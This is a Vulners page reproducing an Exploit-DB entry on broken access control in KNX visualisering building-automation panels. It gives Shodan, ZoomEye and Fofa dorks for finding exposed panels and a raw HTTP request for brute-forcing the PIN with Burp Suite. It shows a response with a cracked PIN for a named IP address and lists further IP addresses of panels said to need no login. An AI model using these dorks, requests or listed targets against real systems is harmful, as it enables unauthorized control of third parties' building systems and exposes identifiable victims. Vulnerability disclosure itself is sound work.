Vulners
Lucene search
KNX visualisering - Broken Access Control
🗓️ 06 Jul 2026 00:00:00Reported by Parsa Rezaie KhiabanlooType 
exploitdb🔗 www.exploit-db.com👁 66 Views
# Exploit Title: KNX visualisering - Broken Access Control
# Date: 6/10/2026
# Exploit Author: parsa rezaie khiabanloo
# Vendor Homepage: KNX visualisering (https:/www.knxgroep.nl)
# Version: KNX visualisering
# Tested on: Windows/Linux
Step 1 : Attacker can using these dorks then can find the KNX panel .
Shodan : title:"KNX visualisering" OR https://www.shodan.io/search?query=title%3A%22KNX+visualisering%22
ZoomEye : "KNX visualisering" OR https://www.zoomeye.ai/searchResult?q=IktOWCB2aXN1YWxpc2VyaW5nIg%3D%3D
Fofa : ("KNX visualisering") && icon_hash=="2019991370" OR https://en.fofa.info/result?qbase64=KCJLTlggdmlzdWFsaXNlcmluZyIpICYmIGljb25faGFzaD09IjIwMTk5OTEzNzAi
Step 2 : We Found pincode panel and they dont have RateLimit so attacker can brute force it using tools like BrupSuite.
The attacker can try several numbers to know what the length of the number is for that panel, for example, one panel is 4 digits or another panel is 6 digits.
Notic : Most panels Dont need authentication
Example :
Attacker used the dorks and founded this IP 62.163.74.206 after that attacker use the Burp Suite to brute force it .
Request :
POST /scada-vis/pin?return=index HTTP/1.1
Host: 62.163.74.206
Content-Length: 10
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://62.163.74.206
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://62.163.74.206/scada-vis/pin?return=index
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
pin=123456
In the up request attack will know the pin length is 6 so now attacker going to try 6 numbers from 000000 to 999999 .
I founded the pin and that is 200908 .
Response :
HTTP/1.1 302 Moved Temporarily
Date: Wed, 10 Jun 2026 07:26:40 GMT
Content-Type: text/html
Content-Length: 126
Connection: keep-alive
Set-Cookie: pin=200908; Path=/
Location: /scada-vis/index
<html>
<head><title>302 Found</title></head>
<body bgcolor="white">
<center><h1>302 Found</h1></center>
</body>
</html>
Some Panels without authentication :
https://85.147.34.42/scada-vis
https://185.72.160.230/scada-visData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
06 Jul 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9